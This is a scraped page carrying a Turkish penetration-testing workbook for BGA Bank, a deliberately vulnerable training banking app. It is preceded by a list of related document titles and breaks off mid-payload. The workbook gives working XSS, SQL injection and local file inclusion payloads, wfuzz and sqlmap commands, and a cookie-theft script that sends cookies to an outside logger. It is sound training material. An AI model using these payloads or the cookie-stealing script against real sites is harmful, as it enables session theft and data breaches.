BGA BANK Web Güvenlik Testleri Uygulama Kitabı

Benzer belgeler
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği

Tanımı Problemi 46 Şüpheci Yaklaşım 47 Tamsayı Taşması (Integer Overflow) 47 Tamsayı Taşması Java Uygulaması 48

Web Uygulama Güvenliği Kontrol Listesi 2010

İSTANBUL ÜNİVERSİTESİ. Kalite Yönetim Sistemi Kullanım Kılavuzu

İSTANBUL ÜNİVERSİTESİ. Bütünleşik Kalite Yönetim Sistemi İç Tetkik Kılavuzu

Sisteme daha önce kayıt olmuş yazar giriş ekranında (Resim 1) kullanıcı adı (kayıt olduğu

VET ON KULLANIM KLAVUZU

Broker, Acente, Banka Online Sigortacılık Portali

Oturum Öncesi Tanımlı Oturum Kimliği Çerezi Açığı Gökhan

VERİ GÜVENLİĞİ. Web Uygulamaları Güvenliği. Özer Çelik Matematik-Bilgisayar Bölümü

1. Mutabakat.zip dosyası açılır. 2. Mutabakat klasörü içindeki Mutabakat.exe dosyası çalıştırılır.

KULLANICI KILAVUZU: UEA FİX KULLANICILARININ SSLVPN ERİŞİMİ İMKB İÇİNDEKİLER

Özgür Uygulamalar ile Web Güvenliği. The OWASP

SQL Uyarı Programı Kurulum ve Kullanımı

İlgili sayfa ulaşmak için metnin üzerine TIKLAYINIZ.

Proje Takip Platformu Kullanım Kılavuzu

İnternet Programcılığı

HYS KANITLAYICI BELGE KILAVUZU. TEMMUZ-2014 Uygulama Geliştirme ve Destek Şubesi

T.C. Kalite Koordinatörlüğü İSTANBUL ÜNİVERSİTESİ REKTÖRLÜĞÜNE. Personel Daire Başkanlığı

Giriş. TÜRKİYE ESNAF VE SANATKARLARI KONFEDERASYONU Online İşlemler (Dolaşım Belge İşlemleri Menşe Şahadetnamesi) Kullanma Kılavuzu v5

VERİ GÖNDERME PROGRAMI KULLANMA KILAVUZU (Tesisler tarafından kullanılacak)

ARLAB ARaştırma LABoratuvar Projesi Kullanım Kılavuzu

UZAKTAN EĞİTİM SİSTEMİ ÖĞRENCİ EKRANLARI KULLANIM KILAVUZU

-Sistem web sitesi üzerinden çalışmakta olup, 4 ana bölümden oluşmaktadır.

Web Formlar ve Sayfalar Arasında Bilgi Gönderme. BATML İnternet Programcılığı 1

Giriş. TÜRKİYE ESNAF VE SANATKARLARI KONFEDERASYONU Online İşlemler (Dolaşım Belge İşlemleri Menşe İspat D-8) Kullanma Kılavuzu v4

Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)

Programın Tanıtımı

TASNİF DIŞI KAMU SERTİFİKASYON MERKEZİ. Doküman Adı MOBİL İMZA KULLANIM AMAÇLI NİTELİKLİ ELEKTRONİK SERTİFİKA BAŞVURU TALİMATI

TachoMobile Web Uygulaması v1.00.

Kurumsal Grup E-Posta Eğitim Dokümanı

MİLLİ EĞİTİM BAKANLIĞI YENİ EPOSTA SİSTEMİ HAKKINDA MEB

DESTEK DOKÜMANI. Ürün : Tiger Enterprise/ Tiger Plus/ Go Plus/Go Bölüm : Kurulum İşlemleri

KULLANICI KULLANIM KILAVUZU

05 - Veritabanı Sızma Testleri

Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

Web Uygulama Pentest Eğitimi

T.C. SAĞLIK BAKANLIĞI Sağlık Hizmetleri Genel Müdürlüğü. Hasta Hakları ve Tıbbi Sosyal Hizmetler Daire Başkanlığı

CELAL BAYAR ÜNİVERSİTESİ KÜTÜPHANE VERİTABANLARINA ÜNİVERSİTE DIŞINDAN ERİŞİM

Giriş. TÜRKİYE ESNAF VE SANATKARLARI KONFEDERASYONU Online İşlemler (Dolaşım Belge İşlemleri A.TR) Kullanma Kılavuzu

E-Firma Rehberi Sistemi Plus

CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0

fastpay Uygulamasına Nasıl Kayıt olur ve Giriş Yapabilirim?

e-fatura Portalı Kullanım Kılavuzu

LOGO için Online Mutabakat Kullanım Kılavuzu

ULUSAL ELEKTRONİK TEBLİGAT SİSTEMİ

AMAÇLAR: GÜVENLİK TESTLERİNDE BİLGİ TOPLAMA: AKTİF BİLGİ TOPLAMA

WEB UYGULAMASINA YÖNELİK DENETLEMELERDE LİNK KEŞFETME TEKNİKLERİ VE ARAÇLARI. Deniz Çevik, <denizcev at gmail dot com>, webguvenligi.

30 Mayıs ETASQLMNG Programına giriş

TÜRKİYE ESNAF VE SANATKARLARI KONFEDERASYONU Online İşlemler (Dolaşım Belge İşlemleri EURO-MED) Kullanma Kılavuzu v6

MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI

ULUSAL ELEKTRONİK TEBLİGAT SİSTEMİ

Boğaziçi Üniversitesi Bilgi İşlem Merkezi. Web Yönetimi Birimi. Drupal Kullanım Kılavuzu

Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

BLIND SQL INJECTION SALDIRILARI

Logo da Buluta Online Veri Yedekleme

Burp Suite ile Deneme - Yanılma Denetimi

TURKCELL HİZMETLERİ. Kullanım Bilgileri. LOGO Kasım 2014

İSTANBUL KEMERBURGAZ ÜNİVERSİTESİ İÇERİK YÖNETİM SİSTEMİ KULLANIM KLAVUZU KEMERBURGAZ ÜNİVERSİTESİ İÇERİK YÖNETİM SİSTEMİ

Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi

Ortam İzleyici Kullanım Kılavuzu

Web Application Penetration Test Report

MARM ASSISTANCE YOL YARDIM SİSTEMİ

Okul Sorumlusu/Müdürü İçin Mobil Kreş Yönetim Paneli Kullanım Dokümanı

Kets DocPlace LOGO Entegrasyonu

İçindekiler Tablosu Talep Destek Yönetim Sistemi Programı...3

1. Portala Giriş. 2. Portalın Kullanımı Genel

FIRAT ÜNİVERSİTESİ WEB TABANLI KÜTÜPHANE OTOMASYONU

MOBİL İMZA KULLANIM AMAÇLI NİTELİKLİ ELEKTRONİK SERTİFİKA BAŞVURU TALİMATI

Başlangıç Ayarları.

T.C GAZİOSMANPAŞA ÜNİVERSİTESİ

KÜTÜPHANE KAYNAKLARINA DIŞARIDAN (PROXY SUNUCU KULLANARAK) BAĞLANMAK İÇİN YAPILMASI GEREKENLER A. INTERNET EXPLORER KULLANICILARI İÇİN;

Mersin Meslek Yüksekokulu(Uzaktan Eğitim) Uzaktan Eğitim Yönetim Sistemi yeni ara yüzü kullanım klavuzu

Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır.

ELEKTRONİK BELGE YÖNETİM SİSTEMİ KULLANICI GİRİŞ VE E-İMZA İŞLEMLERİ KLAVUZU

MERSİS sayesinde şirket kuruluş işlemleri artık, online olarak süratli bir şekilde gerçekleşebilecektir.

TÜRKİYE İLAÇ VE TIBBİ CİHAZ KURUMU (TİTCK) ELEKTRONİK BAŞVURU YÖNETİMİ (EBS) TALEP BİLDİRİM KULLANICI KILAVUZU

Öztiryakiler B2B Kullanıcı Klavuzu

AYBEL YAZILIM E-REÇETE PROGRAMI

MOODLE UZAKTAN ÖĞRETİM SİSTEMİ

Bölüm 10: PHP ile Veritabanı Uygulamaları

1. YOBIS (Yüksek Öğrenim Burs ve Bilgi Sistemi)

İ ZMİ R KÂ Tİ P ÇELEBİ Ü Nİ VERSİ TESİ ÜZÂKTÂN EĞ İ Tİ M Sİ STEMİ Ö Ğ RENCİ KÜLLÂNİM KİLÂVÜZÜ

Mustafa DAKMAz Uyumsoft Mersis Eğitim ve Uygulama Danışmanı

Dijital Varlık Yönetimi Yardım Dokümanı

Office 365. Kullanım Kılavuzu. Öğrenci

MapCodeX Cloud Server. Kullanım Kılavuzu

E-Mutabakat. Ağustos 2018

AİTM Münferit Araç Uygunluk Belgesi (İMALAT) Başvuru

YEDEKLEME PROGRAMI KURULUM VE KULLANIMI

PRUSA İSG KULLANIM KILAVUZU

SQL 2005 SQL STUDIO MANAGER ACP YAZILIMI KURULUM KILAVUZU

MutluSantral API Dokümanı. Versiyon 1.0.1

IOSİS SOS BAYIPUAN BAYI KULLANICI KILAVUZU

Script. Statik Sayfa. Dinamik Sayfa. Dinamik Web Sitelerinin Avantajları. İçerik Yönetim Sistemi. PHP Nedir? Avantajları.

İçindekiler TURKKEP E-FATURA KONEKTÖRÜ KULLANIM KILAVUZU

ORDU ÜNİVERSİTESİ E-POSTA KULLANIM ÖZELLİKLERİ

TEKNİK DOSYA UYGUNLUK YAZISI BAŞVURU

Medula Eczane Stok Bilgileri Web Servisleri Kullanım Kılavuzu

Transkript:

BGA BANK Web Güvenlik Testleri Uygulama Kitabı Ceylan BOZOĞULLARINDAN <ceylan@bga.com.tr> [ Tüm yayın hakları BGA Bilgi Güvenliği A.Ş. e aittir. BGA nın yazılı izni olmadan çoğaltılamaz. Kaynak gösterilmek koşuluyla alıntı yapılabilir.]

2 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı GİRİŞ BGA Bank Hakkında BGA BANK (Vulnerable Online Bank Application) uygulaması PHP tabanlı çeşitli zafiyetler içeren sızma testi eğitim platformudur. Türkiye'deki bankacılık altyapısı incelenerek bu altyapılarda çıkabilecek tüm teknik ve mantıksal hatalar uygulamanın içine eklenmiş ve web uygulama güvenliği konusunda çalışanlar için gerçekci bir sızma testi platformu oluşturulmuştur. Webgoat, DVWA vs gibi benzeri amaçla yazılmış programlardan en temel farkı açıklıkların doğrudan kullanıcıya nerede olduğu ve nasıl istismar edileceği ile ilgili ipucu vermemesidir. BGA BANK altyapısı 3 farklı sistemden oluşmaktadır: 1- BGA BANK - http://www.bgabank.com 2- IPS Korumalı Bankacılık Uygulaması - http://ipstest.bgabank.com 3- WAF Korumalı Bankacılık Uygulaması - http://waftest.bgabank.com Böylece bgabank.com'da çalışan bir açıklığın hem IPS hem de WAF sistemleri ile tekrar test edilerek çeşitli evasion tekniklerinin denenmesi de sağlanmış olmaktadır. Yazılım Geliştiriciler Kitapçık Yazarları Katkıda Bulunanlar Proje Yöneticisi Ceylan BOZOĞULLARINDAN, Rızacan TUFAN Ceylan BOZOĞULLARINDAN, Ender AKBAŞ, Huzeyfe ÖNAL Halil DALABASMAZ, Ömer ALBAYRAK Huzeyfe ÖNAL Kitap içeriğiyle ilgili her türlü geri dönüş için bgabank@bga.com.tr adresine e- posta gönderebilirsiniz.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3 Bilgi Güvenliği AKADEMİSİ (BGA) Hakkında Bilgi Güvenliği Akademisi (BGA) Türkiye deki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacıyla ileri seviye güvenlik danışmanlığı ve bilgi güvenliği eğitimleri konularında kurumlara hizmet vermektedir. 2008-2010 yılları arasında yapılan çalışmalar sonucu gönüllü bir ekip tarafından kurulup Türkiye de bilgi güvenliği konusunda bilgi paylaşımının ve bilinçlenmenin arttırılması adına e- posta listeleri oluşturulması, seminerler, güvenlik günleri düzenlenmesi, üniversite öğrencilerine yön vermek maksadı ile siber güvenlik kamplarının düzenlenmesi gibi birçok konuda faaliyetlerde bulunmuştur. Bilgi Güvenliği Akademisi, BGA Bilgi Güvenliği A.Ş. olarak 2011 yılı başında şirketleşmiştir. Kısa sürede Türkiye nin en önemli kurumlarına bilgi güvenliği ve stratejik siber güvenlik konularında danışmanlık gerçekleştirmiş, 500 den fazla kuruma eğitim vermiştir. 2012-2015 yılları itibariyle yurtdışında Azerbaycan, Kazakistan, KKTC gibi ülkelerde de şube açmış ve bu ülkelerde en büyük 10 şirkete hizmet vermektedir. Sunduğumuz eğitim ve danışmanlık hizmetleri için bilgi@bga.com.tr adresine e- posta gönderebilirsiniz.

4 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı İçindekiler GİRİŞ... 2 Bilgi Güvenliği AKADEMİSİ (BGA) Hakkında... 3 1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı... 6 2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı... 9 3. User- Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş)... 12 4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı... 14 5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı... 16 6. XSS Kullanarak Cookie Bilgisi Çalma... 17 7. Yönetim Paneli Dizin İfşası... 18 8. Local File Inclusion Zafiyeti ve İstismarı... 20 9. robots.txt Bilgi İfşası... 22 10. PhpMyAdmin Bilgi İfşası... 23 11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı... 24 12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı... 30 13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı... 36 14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı... 38 15. User- Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı... 41 16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı... 42 17. Havale/EFT Stored XSS Zafiyeti ve İstismarı... 45 18. Erişim Kısıtlamasını Atlatma... 48 19. Havale/EFT İşlemi Mantık Hatası ve İstismarı... 51 20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı... 53 21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı... 56 22. Çalışmayan Captcha Uygulaması... 58 23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme... 59 24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak... 62 25. Müşteri Parolasının Tahmin Edilebilir Olması... 66 26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma)... 70 27. Dizin Listeleme/İfşa Zafiyeti... 71 28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı... 72 29. Kartlarım Sayfası Insecure Direct Object References Zafiyeti ve İstismarı... 76 30. Şubeler Sayfası SQL Injection Zafiyeti ve İstismarı... 79 31. İşlem Özeti Filtreleme Web Service SQL Injection... 83 32. BGA Bank Session Fixation Saldırısı... 86

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 5 33. HTML Yorum Satırlarında Bilgi İfşası... 88 34. Şifre Değiştirme Panelinde Şifre Form Kontrolünü Atlatma... 90 35. Diğer Müşterilere Bağlı Kart Şifrelerini Değiştirme... 93 36. Şubeler Sayfası Reflected XSS Zafiyeti ve İstismarı... 96 37. İçerik Parametresi Time- Based SQL Injection Zafiyeti ve İstismarı... 99 38. Kodlarına Ulaşılabilir Dosyalar... 101 39. User- Agent Başlık Bilgisinde Stored XSS Zafiyeti ve İstismarı... 103 40. Haberdar Ol Sayfası SQL Injection Zafiyeti ve İstisamarı... 107 41. Haberdar Ol Sayfası Reflected XSS Zafiyeti ve İstismarı... 112 42. Döviz Alma İşleminde Araya Girilerek Döviz Fiyatı Değiştirme... 115 43. Tomcat 6 Sistem İfşası... 118 44. Güvensiz Çıkış Zafiyeti... 119 45. User- Agent Bilgisi Değiştirerek Ücretsiz Havale İşlemi Gerçekleştirme... 121 46. LFI ve Dosya Yükleme Zafiyetini Kullanarak Sisteme Shell Yükleme... 123 47. Tomcat Metasploit Brute Force Saldırısı... 128 48. Müşteri Girişi Form Tabanlı Brute Force Saldırısı... 130 49. OWASP Xenotix XSS Framework Kullanarak XSS Tespiti... 133 50. XSS Zafiyeti ile Beef Framework Kullanarak Şifre Çalma Senaryosu... 136 51. Nmap Kullanarak PortSpoof Tespiti... 142

6 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı BGA Bank "Müşteri Giriş Paneli" sayfasında Reflected XSS Zafiyeti bulunmaktadır. XSS zafiyetinin tespiti ve istismarı aşağıda adım adım anlatılmıştır. URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/giris.aspx POST <script>alert(document.cookie)</script> b_musterino Tablo 1. Giriş Sayfası Reflected XSS Zafiyet Bilgileri 1) Giriş formu rastgele ve yanlış bilgilerle doldurulur, ardından Giriş Yap butonuna tıklanır. Şekil 1. Müşteri Giriş Paneli Yanlış girilen müşteri numarasının hata mesajında yer alması, XSS zafiyetinin olabileceğine işaret eder. 12345678 yerine yazılan herhangi bir HTML veya JavaScript kodu, sayfa kaynak kodları arasında yer alır. Eğer girdiler geliştirici tarafından filtrelenmemişse saldırgan zararlı kod parçacıklarını sayfa üzerinde çalıştırabilir. 2) Tarayıcı ile uygulama arasına girilerek, JavaScript filtrelemeleri atlatılır ve payload çalıştırılır. Müşteri numarası alanına direk tarayıcı üzerinden html kod girildiğinde, Şekil 2. de gösterilen hata veya türevleri zafiyetin istismarına engel olacaktır.

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 7 Şekil 2. Müşteri Giriş Paneli Hata Mesajı Uygulama geliştirici, girdileri JavaScript ile kontrol etmektedir. JavaScript kodları sunucuda değil, son kullanıcının yani müşterinin tarayıcısında çalışır. Bu problem, tarayıcı ile sunucu arasına girilerek çözülebilir. Bunu gerçekleştirmek için de Proxy araçları kullanılır. Bu zafiyetin istismarında Proxy aracı olarak Burp Suite kullanılmıştır. Müşteri numarası, geliştiricinin istediği formata uygun bir şekilde (12345678) girilir. Giriş Yap butonuna tıklandığı anda sunucuya gönderilen istek Proxy ye düşer. Proxy de bekletilen istek üzerinde bulunan, b_musterino parametresinin 12345678 olan değeri Tablo 1. deki payload ile değiştirilir. Bekletilen isteğe izin verilerek sunucuya ulaşması sağlanır. Böylece filtreleme başarılı bir şekilde atlatılmış olur. Şekil 3. Burp Suite İle Veri Manipülasyonu

8 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3) Sonuç, müşterinin cookie bilgileri başarılı bir şekilde alınır. Şekil 4. Sonuç

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 9 2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı Müşteri giriş panelinde SQL injection zafiyeti yer almaktadır. Zafiyet bilgileri tablo 2. de gösterilmiştir. URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/giris.aspx POST " or 2=2;- - b_musterino Tablo 2. Giriş Sayfası SQL Injection Zafiyet Bilgileri Zafiyetin istismarı aşağıda adım adım anlatılmıştır. 1) Giriş formu kurallara uygun şekilde doldurur ve Firefox un HTTP Live Headers eklentisi açıkken Giriş Yap butonuna tıklanır. HTTP isteği gönderilirken, Live HTTP Header üzerinde kendi yansımasını bırakır. Bu yansıma üzerinde Javascript filtreleme olmadığından payload girilerek istek tekrar gönderilebilir. Şekil 5. de gösterilen istek üzerinde değişiklik yapmak için Replay butonuna tıklanır. Şekil 5. Live HTTP Headers

10 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 2) b_musterino parametre değerine, Tablo 2. de yer alan SQL injection payload girilir ve istek tekrar Replay butonu ile gönderilir. (bkz. Şekil 6) Şekil 6. Live HTTP Headers SQL Injection Payload Gönderimi

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 11 3) Sonuç, başarılı. Şekil 7. Sonuç

12 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil Giriş) URL http://isube.bgabank.com/giris.aspx Tablo 3. Captcha URL Tablo 3. de belirtilen adreste üç kez yanlış giriş denemesinde bulunulduğunda, brute force saldırısını engellemek için captcha çıkmaktadır. Fakat mobil cihazla girildiğinde captcha çıkmamaktadır. Tarayıcıda user- agent bilgisi değiştirilerek, mobil cihaz gibi siteye giriş yapılabilir. Bunun için Firefox eklentisi User Agent Switcher kullanılabilir. Şekil 8. Captcha Panel Bu durumdayken User Agent Switcher ile cihaz iphone 3.0 olarak ayarlanır ve yanlış veriler girilip Giriş Yap butonuna tıklandığında Captcha nın kaybolduğu görülecektir. (Şekil 9)

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 13 Şekil 9. User Agent Switcher

14 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı URL HTTP Talep Türü Payload Parametre http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2= GET <Script>prompt(document.cookie);</Script> s1 veya s2 Tablo 4. Arama Sayfası Reflected XSS Zafiyet Bilgileri Arama kutusunda Reflected XSS zafiyeti bulunmaktadır. Zafiyet bilgileri Tablo 4. de belirtilmiştir. Bu zafiyeti istismar etmeden önce normal bir arama yapılır. "deneme" kelimesi aratıldığında "Aradığınız Kayıt Bulunamadı hatası dönmektedir. (bkz. Şekil 10) Şekil 10. Normal Arama Sonucu Daha sonra çeşitli payloadlar denenebilir. En sık kullanılan payloadlardan <script>alert(1)</script> denendiğinde, sonuç Şekil 11 deki gibidir. Şekil 11. Hata mesajı Burada script, alert gibi sık kullanılan XSS payloadlarına karşı bir önlem alındığı düşünülebilir. Bu engeli atlatmak için en basit yöntemlerden biri script kelimesini büyük- küçük harf

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 15 kullanarak yazmaktır. Şekil 12. de <Script>prompt(document.cookie);</Script> payloadı denenmiştir ve sonuç başarılıdır. Şekil 12. Sonuç Bu payload haricinde, içinde script veya alert kelimeleri geçmeyen yüzlerce farklı payload çalıştırılabilir. Örnek; http://isube.bgabank.com/?sayfa=arama.php&s1=<img onerror=prompt('bga') src="a" />&s2= (bkz. Şekil 13) Şekil 13. Örnek Payload Denemesi

16 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS İstismarı Örnek URL; http://isube.bgabank.com/?sayfa=arama.php&s1=<img onerror=al&s2=ert('bga') src= a /> Alınan önlemler, HPF(HTTP Parameter Fragmentation) olarak adlandırılan yöntemle atlatılabilmektedir. Bu yöntemde, arama işleminde yer alan, iki arama parametresi (s1 ve s2) üzerinden istismar edilir. Örnek URL de alert s1 ve s2 parametreleri üzerinde bölünmüştür. (bkz. Şekil 14) Şekil 14. HPP

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 17 6. XSS Kullanarak Cookie Bilgisi Çalma Arama kutusunda yer alan XSS zafiyeti, kullanıcıların cookie bilgilerini çalmak için kullanılabilir. Aşağıda belirtilen tablodaki payload, istenilen linke, kullanıcı cookie bilgilerini get isteği ile göndermektedir. Cookie Çalma İçin Kullanılan Payload <script>document.location="http://localhost/test/steal.php?cookie="+document.cookie</script> Adres içerisinde belirtilen steal.php dosyasının kaynak kodları aşağıdaki gibidir. steal.php Kaynak Kodları <?php $cookie = $_GET["cookie"]; $myfile = fopen("cookies.txt", "a") or die("dosya bulunamadı!"); fwrite($myfile, $cookie); fclose($myfile);?> Yukarıdaki kaynak koddan da anlaşıldığı gibi, gelen istekler, cookies.txt dosyasına kaydedilmektedir. Bunun için, ya cookies.txt dosyası oluşturmalı yolunu belirtilmeli ya da fopen parametresi w olarak değiştirilmelidir. w parametresi yeni dosya oluşturup, içine yazmayı sağlar. Şimdi zafiyet yeni payload ile denendiğinde, sayfanın yönlendiği görülecektir. (Şekil A) Şekil A. Çalışan Payload Cookies.txt dosyasına kullanıcı cookie bilgileri kaydedilmiştir. (Şekil B) Şekil B. Cookies.txt İçeriği

18 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 7. Yönetim Paneli Dizin İfşası URL http://isube.bgabank.com/administrator.aspx Tablo 5. Yönetim Paneli URL Zafiyet her zaman kodlar üzerinde olmayabilir. Bazen basit bir parola veya giriş formunun brute- force a açık olması hedef sistemde hak yükseltmek için kullanılabilir. Bunun için öncelikle admin giriş sayfasının tespit edilmesi gerekir. Keşif aracı olarak wfuzz kullanılmıştır. Ancak bazı öntanımlı admin panel dizinleri manuel olarak da denenebilir. Dizin ifşası için Wfuzz aracında aşağıdaki komutlar sırasıyla çalıştırılır. # cd /usr/share/wfuzz #./wfuzz.py - c - - hc 404,XXX - z file,wordlist/general/admin- panels.txt http://isube.bgabank.com/?sayfa=fuzz Kelime listeleri wfuzz/wordlist dizini altında bulunabilir. Yukarıdaki URL de FUZZ yazan yer brute- force un deneneceği kısımdır. Şekil 15. Wfuzz Sonuç

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 19 Response değerlerine bakıldığında 2 tip cevap döndüğü görülür, 401 ve 200. 401 olanlar elenir. 200 olanlar Lines, Word, Chars değerlerine bakılarak ayırt edilebilir. Şekil 15. de benzer değerleri bulunmayan tek dizin vardır (administrator.aspx). Yönetici paneli; Şekil 16. Yönetim Paneli

20 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 8. Local File Inclusion Zafiyeti ve İstismarı URL http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd Tablo 6. Local File Inclusion URL Bir önceki bulguda bahsedildiği gibi BGA BANK ta sayfa parametresiyle sunucudan aynı dizin altındaki farklı php dosyaları(giris.php, mobilgiris.php vb.) çağırılmaktadır. Hem Linux ta hem Windows ta.(tek nokta) aynı dizini ve.. (iki nokta) ise bir üst dizini ifade eder. Linux bir sistemde /etc/passwd dosyası bazı kullanıcı bilgilerini saklar ve herkes tarafından okunabilir. Bu bilgiler kullanılarak sistemdeki yerel dosya okuma zafiyetinden /etc/passwd dosyası görüntülenebilir. İşlem manuel olarak yapılıyorsa garanti olması için../../ sayısı fazla tutulabilir. İşletim sistemi sayı fazla olsa dahi ana dizinden bakmaya başlayacaktır. Yani tablo 6. da belirtilen adrese ve http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd adresine giriş yapıldığında şekil 17. deki sonucu verecektir. Otomatize araç olarak wfuzz kullanılabilir. Şekil 17. /etc/passwd Bilgileri # cd /usr/share/wfuzz #./wfuzz.py - c - - hc 404,XXX - z file,wordlist/injections/traversal.txt http://isube.bgabank.com/?sayfa=fuzz Bir önceki zafiyette olduğu gibi wfuzz FUZZ un olduğu bölüme bruteforce yapacaktır. Word ve Chars değerleri kontrol edilerek geçerli dizinler bulunabilir. (bkz. Şekil 18)

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 21 Şekil 18. Wfuzz LFI

22 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 9. robots.txt Bilgi İfşası URL http://isube.bgabank.com/robots.txt Tablo 7. Local File Inclusion URL Robot.txt, arama motorlarına sitedeki hangi dizinleri indeksleyebileceğini belirten basit bir metin dosyadır. Bu dosya ile, örneğin Google ın indekslemediği gizli dizinler, web sayfaları öğrenilebilir. Robot.txt dosyası web sitesinde en üst dizinde bulunur. Aşağıdaki robot.txt dosyasından Disallow ile belirtilen 6 dizinin indekslenmesinin istenmediği anlaşılabilir. Bu da dizinlerin var olabileceğini gösterir. Şekil 19. robots.txt İçeriği

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 23 10. PhpMyAdmin Bilgi İfşası URL http://isube.bgabank.com/pma/ Tablo 8. phpmyadmin URL MySQL veritabanını web tarayıcısı üzerinden yönetmek için kullanılan phpmyadmin uygulamasının giriş sayfası dışarıya açıktır. Bu sayfaya erişim kısıtlanmadığında brute- force saldırılarına maruz kalabilir ya da uygulamaya has zafiyetler varsa istismar edilebilir. Öntanımlı phpmyadmin giriş sayfası pma veya phpmyadmin dir. Şekil 20. phpmyadmin Panel

24 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 11. Arama Kutusu Error Based & Union Query SQL Injection Zafiyeti ve İstismarı URL HTTP Talep Türü http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2= GET Payload " or 1=1; Parametre s1 Tablo 9. Arama Kutusu SQL Injection Zafiyet Bilgileri Arama kısmında hata tabanlı ve Union sorguları çalıştırılabilecek SQL injection zafiyeti vardır. Tespit için öncelikle bir çift tırnak atıldığında SQL hatası görülebilir. (bkz. Şekil 21) Şekil 21. Arama Kutusu SQL injection deneme" or 1=1; payloadı ile veritabanında deneme ile ilgili bir içerik olmasa dahi " or 1=1; ile tüm içerik listelenmiştir. (bkz. Şekil 22)

BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 25 Şekil 22. Payload Çıktısı İstismar sqlmap aracı ile yapılmıştır. Aşağıdaki komut ile sqlmap e zafiyetin hangi URL de, hangi parametrede, hangi veritabanında olduğu ve istismarın hangi seviyede aranacağı belirtilmiştir. sqlmap de seviye(level) yükseldikçe HTTP cookie, HTTP user agent gibi başlıklarda da zafiyet aranır. # sqlmap.py - u "http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=" - p s1 - - dbms MYSQL - - level 4 sqlmap çıktısı; GET parameter 's1' is vulnerable. Do you want to keep testing the others (if any)? [y/n] sqlmap identified the following injection points with a total of 461 HTTP(s) requests: - - - Place: GET Parameter: s1 Type: error- based Title: MySQL >= 5.0 AND error- based - WHERE or HAVING clause Payload: sayfa=arama.php&s1=deneme" AND (SELECT 8204 FROM(SELECT COUNT(*), CONCAT(0x716d6e6371,(SELECT (CASE WHEN (8204=8204) THEN 1 ELSE 0 END)),0 x7176717771,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "rmsh"="rmsh&s2= Type: UNION query Title: MySQL UNION query (NULL) - 10 columns Payload:sayfa=arama.php&s1=deneme" UNION ALL SELECT NULL,

